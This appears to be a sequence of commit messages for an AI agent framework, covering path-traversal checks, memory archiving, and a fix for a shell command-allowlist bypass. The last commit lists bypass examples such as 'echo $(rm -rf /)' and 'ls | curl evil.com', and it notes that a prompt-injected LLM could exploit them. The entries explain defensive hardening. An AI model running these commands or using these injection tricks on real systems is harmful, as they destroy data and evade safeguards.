- Use Path::components() to check for actual .. path components instead of
simple string matching (which was too conservative)
- Block URL-encoded traversal attempts (e.g., ..%2f)
- Expand tilde (~) for comparison
- Use path-component-aware matching for forbidden paths
- Update test to allow .. in filenames but block actual path traversal
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
- Expand communication style presets (professional, expressive, custom)
- Enrich SOUL.md with human-like tone and emoji-awareness guidance
- Add crash recovery and sub-task scoping guidance to AGENTS.md scaffold
- Add 'Use when / Don't use when' guidance to TOOLS.md and runtime prompts
- Implement memory hygiene system with configurable archiving and retention
- Add MemoryConfig options: hygiene_enabled, archive_after_days, purge_after_days, conversation_retention_days
- Archive old daily memory and session files to archive subdirectories
- Purge old archives and prune stale SQLite conversation rows
- Add comprehensive tests for new features
The previous is_command_allowed() only checked the first word of the
command string, but the full string was passed to `sh -c`, which
interprets all shell metacharacters. An attacker (or a prompt-injected
LLM) could bypass the allowlist:
echo $(rm -rf /) — subshell hides arbitrary command
echo `curl evil.com` — backtick subshell
ls | curl evil.com — pipe to unlisted command
ls && rm -rf / — chain via &&
ls\nrm -rf / — newline injection
Now is_command_allowed():
- Blocks subshell operators (backtick, $(, ${)
- Blocks output redirections (>)
- Splits on |, &&, ||, ;, newlines and validates EACH sub-command
- Skips leading env var assignments (FOO=bar cmd)
Legitimate piped commands like `ls | grep foo` still work since both
sides are in the allowlist.
CWE-78 / HIGH-1
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>